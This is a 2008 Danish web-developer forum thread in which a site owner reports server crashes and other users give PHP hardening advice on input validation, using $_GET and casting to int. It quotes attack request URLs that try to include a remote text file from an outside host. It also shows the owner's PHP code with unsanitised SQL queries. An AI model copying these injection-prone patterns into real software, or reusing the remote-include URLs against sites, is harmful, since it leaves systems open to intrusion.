Avatar billede silke4ever Nybegynder
10. marts 2008 - 20:30 Der er 24 kommentarer

Sikkerhedsproblem på server

Hej

Jeg har et sikkerhedsproblem med min server. Jeg kan se, at der er nogle, som forsøger at køre noget trafik på nogle af mine domainer, som de ikke skal.

Et eksempel er f.eks. http://www.domainenavn.dk/index.php?sid=http://holengirl.eclub.lv/filnavn.txt

Jeg ved ikke lige, hvordan jeg får det stoppet, men er det noget med den måde, som jeg inkluderer mine filer på?


// sideopsætning
if(!empty($_REQUEST['sid'])){
$sid = $_REQUEST['sid'];
if($sid == find_forside()){
  $forside = 'true';
} else {
  $forside = 'false';
}
} else {
$sid = find_forside();
$forside = 'true';
}


?
Avatar billede nielle Nybegynder
10. marts 2008 - 20:52 #1
"forsøger" ... betyder det at de har succes med det? For ellers har du jo ikke noget problem.

Svært at kommentere din kode uden at vide:

Hvad laver find_forside()
Hvad har det med include af filer at gøre?
Avatar billede silke4ever Nybegynder
10. marts 2008 - 21:19 #2
Serveren er begyndt at gå ned 1-2 dagligt. Så ja, det må jeg tolke som om, at de har succes med det. Typisk er det russiske "bots" eller hvad man skal kalde det, som forsøger at afvikle nogle scripts på serveren.

Jeg ved ikke om, det er dette kode, som du evt. mangler for at kunne løse problemet.


<?
function find_menusti($sid){
$temp_sid = $sid;
$sti = $sid;
while($temp_sid != '0'){
  $query=mysql_query("select * from teams_sider where id='$temp_sid'");
  while($result=mysql_fetch_array($query)){
    $temp_sid = $result["id_parent"];
    $sti = $sti.'-'.$temp_sid;
  }
}
$sti = explode('-',$sti);
return $sti;
}

function find_forside(){
$id_team = $_SESSION['id_team'];
$query=mysql_query("select * from teams_sider where id_team='$id_team' && id_parent='0' && aktiv='j' order by sortering asc limit 1");
while($result=mysql_fetch_array($query)){
  $id=$result["id"];
}
return $id;
}
Avatar billede nielle Nybegynder
10. marts 2008 - 21:50 #3
Hmm, ja så afhænger sikkerheden vist af hvordan der kommer data i dine sessions og om du tjekker dem for skaldeligt indhold.

Du bruger $_REQUEST[...] i din første kode. Det bør du ikke. Du bør være helt klatr på om dine data kommer fra en form - $_POST[...] - eller fra et link - $_GET[...] - eller fra en session - $_SESSION[...] - eller fra en cookie - $_COOKIE[...].
Avatar billede sif4ever Nybegynder
10. marts 2008 - 22:06 #4
Det kommer ind via et id, hvor der sker et eller andet på det pågældende ID f.eks. en kontaktformular, afstemning, tekst side eller ligner. 

F.eks. index.php?sid=181

Hvis jeg ændrer det til GET, så kan der vel stadig blive kørt noget ekstern trafik på serveren, som sløver den helt vildt?

f.eks. index?sid=http://www.dr.dk

Jeg kan se de russiske sider linker mest til index?sid=http://www.xxxx.ru/filnavn.txt og den står og kører i flere timer.

Jeg ved ikke, hvad den txt-fil indeholder, men det er lidt bekymrende.
Avatar billede nielle Nybegynder
10. marts 2008 - 22:12 #5
Der er ikke ekstra sikkerhed fordi at du lægger det i en session først.

Du skal altid sikre dig at det er uskadeligt indhold der kommer fr dine forms og dine links.
Avatar billede silke4ever Nybegynder
11. marts 2008 - 00:22 #6
Jeg kan jo tjekke, hvad andre folk forsøger at afvikle på min server. Jeg vil blot forhindre i, at de kan afvikle nogle scripts, så serveren går ned.

Jeg vil altså have, at de ikke kan køre noget, som hedder http://www.domainenavn.dk/index.php?sid=http://holengirl.eclub.lv/filnavn.txt

Altså hvor de forsøger at få noget andet indhold ind over min server. Det er det, som får min serveren til at gå ned.

Jeg tror, vi snakker lidt forbi hinanden.
Avatar billede showsource Seniormester
11. marts 2008 - 08:34 #7
Måden du includer på er jo afgørende for om der afvikles udefra kommende scripts.

Og hvis du VED at det skal være et tal, så brug (int), så er du sikker på at det er et tal du har som ref

if(isset($_GET['sid'])){
$sid = (int)$_GET['sid'];

Og jeg er helt enig med nielle om at undgå brugen af $_REQUEST

og det er vel meget normalt at der kommer så'n request på serveren ?
Avatar billede smitten1 Nybegynder
11. marts 2008 - 17:17 #8
Alt hvad der kommer udefra skal valideres, så sikkerhedsmæssigt bør der ikke være forskel på $_REQUEST og de andre tre: POST, GET og COOKIE. $_SESSION får man ikke fat i via REQUEST
Avatar billede nielle Nybegynder
11. marts 2008 - 18:18 #9
> sikkerhedsmæssigt bør der ikke være forskel på $_REQUEST og de andre tre: POST, GET og COOKIE

Korrekt, der er ikke nogen forskel på hvordan man skal sikre sig.

Men som web udvikler bør man være klar over hvorfra at man forventer at få input udefra. Ved specifikt at angive - f.eks. ved at bruge $_GET[] - at man forventer at få et givet input fra et link, har man effektivt skåret ned på de mulige måder en hacker kan forsøge at angribe din side på.
Avatar billede nielle Nybegynder
11. marts 2008 - 18:21 #10
Jeg har stadig ikke set noget sted hvor du includer noget.

... kun set et par steder hvor at du kommer nogle variable i din database uden at der øjensynligt er sket noget for at sikre imod SQL injection. Men det er måske sket på et tidligere tidspunkt da input kom ind i første omgang?
Avatar billede smitten1 Nybegynder
11. marts 2008 - 18:55 #11
Jeg synes stadig ikke det kan bruges som argument i forhold til sikkerheden. Har man sikret sig, så har man sikret sig, uanset hvor det kommer fra.
Avatar billede nielle Nybegynder
11. marts 2008 - 19:35 #12
En del af det at sikre sig er at man holder fuldt styr på hvor input må og kan komme fra. Sikkerhed er også noget som er tænkt ind i sidens struktur.
Avatar billede smitten1 Nybegynder
11. marts 2008 - 19:50 #13
Input kommer fra klienten. En habil hacker er ret ligeglad med om du så bruger GET, POST, COOKIE eller REQUEST. Hvis du ikke er sikret, så kommer han ind.
Avatar billede silke4ever Nybegynder
11. marts 2008 - 19:53 #14
Det eneste, som jeg ved med sikkerhed, det er, at jeg kan se på serverens overvågningsskærm, at der bliver afviklet nogle underlig på serveren, som åbenbart får serveren til at gå ned hele tiden.

Typisk så er det en eller anden russisk side, som bliver sat ind på vores hjemmeside og vores server kan stå i flere døgn og arbejde på det link.

F.eks. http://www.vores-domainenavn.dk/index.php?sid=http://holengirl.eclub.lv/fil.txt

Den har nu stået og kørt i to døgn. Hvad der er i den pågældende TXT fil aner jeg ikke, men den får i hvert fald serveren til at knække sammen på et tidspunkt. Derfor vil jeg gerne, at vi kunne kode os ud af dette problem, så der ikke kan køres noget ekstern trafik på serveren.

Jeg ved ikke, hvad siden http://holengirl.eclub.lv skulle få ud af at afvikle scriptet henover vores server.
Avatar billede smitten1 Nybegynder
11. marts 2008 - 20:01 #15
hvis de kan få dig til at afvikle scriptet, så kan de jo udnytte din server til næsten hvad som helst. mail spambotter er populære
Avatar billede nielle Nybegynder
11. marts 2008 - 20:37 #16
11/03-2008 19:50:25> Muligvis, men nu snakker vi altså også kun om at beskytte imod scriptkiddies og forskelliga automatiserede attack-scripts.
Avatar billede smitten1 Nybegynder
11. marts 2008 - 20:38 #17
Dem er man jo også helt automatisk beskyttet imod, hvis man validerer input - uanset hvor det kommer fra ...
Avatar billede silke4ever Nybegynder
11. marts 2008 - 20:54 #18
Så hvad kommer I frem til at jeg skal gøre?
Avatar billede nielle Nybegynder
11. marts 2008 - 21:26 #19
Den kode du har vist  10/03 2008 20:30:13 giver ikke nogen problemer. Den tager godt nok imod noget input udefra, men den gør intet som helst med dette.

Dog bliver find_forside() som resultat kaldt ved dette.

Hvorvidt der sker noget "vemmeligt" i den sammenhæng afhænger af hvad du har i din $_SESSION['id_team'] på det tidspunkt. Jeg kan bare ikke se noget sted hvor den bliver sat, og derfor har vi ikke de rette forudsætninger endnu for at bedømem hvad der sker.

Endeligt så er der satdig ikke noget sted hvor at du includer noget som helst?
Avatar billede silke4ever Nybegynder
11. marts 2008 - 22:09 #20
<?
$query=mysql_query("select * from teams_sider where id='$sid'");
if(mysql_num_rows($query)<1){
echo '<h1 class="h1">Siden findes ikke!</h1>';
$link_forside = 'index.php?sid='.find_forside();
echo 'Siden du søger, findes ikke! <a href="'.$link_forside.'">Klik her</a> for at komme til forsiden.';
} else {
while($result=mysql_fetch_array($query)){
  $tekst = $result["tekst"];
    $id_skabelon=$result["id_skabelon"];
    echo $tekst;
    if(!empty($id_skabelon)){
    $query2=mysql_query("select * from teams_sider_skabeloner where id='$id_skabelon'");
    while($result2=mysql_fetch_array($query2)){
      $skabelon='../teams/sider/skabeloner/'.$result2["fil"];
    include($skabelon);
    }
    }
}
}
?>
Avatar billede silke4ever Nybegynder
11. marts 2008 - 22:10 #21
Jeg ved ikke om det er denne kode, som jeg så skal have hjælpe til i stedet for.
Avatar billede nielle Nybegynder
11. marts 2008 - 22:21 #22
Det afhænger af hvad der er i $sid på det tidspunkt hvor koden køres?

Desuden afhænger det af hvordan der kommer data i dine tabeller. Er der noget sted hvor at der kan sniges snavs ind?
Avatar billede silke4ever Nybegynder
20. marts 2008 - 10:10 #23
Hej

efter at have gennemgået hele SSH og log filerne, så viste det siger at være serveropsætningen.

Nielle, Smitten1 og showsource skriv et svar, så lukker jeg og fordeler pointene imellem Jer.
Avatar billede nielle Nybegynder
20. marts 2008 - 10:23 #24
Svar :^)
Avatar billede Ny bruger Nybegynder

Din løsning...

Tilladte BB-code-tags: [b]fed[/b] [i]kursiv[/i] [u]understreget[/u] Web- og emailadresser omdannes automatisk til links. Der sættes "nofollow" på alle links.

Loading billede Opret Preview
Kategori
Vi tilbyder markedets bedste kurser inden for webudvikling

Log ind eller opret profil

Hov!

For at kunne deltage på Computerworld Eksperten skal du være logget ind.

Det er heldigvis nemt at oprette en bruger: Det tager to minutter og du kan vælge at bruge enten e-mail, Facebook eller Google som login.

Du kan også logge ind via nedenstående tjenester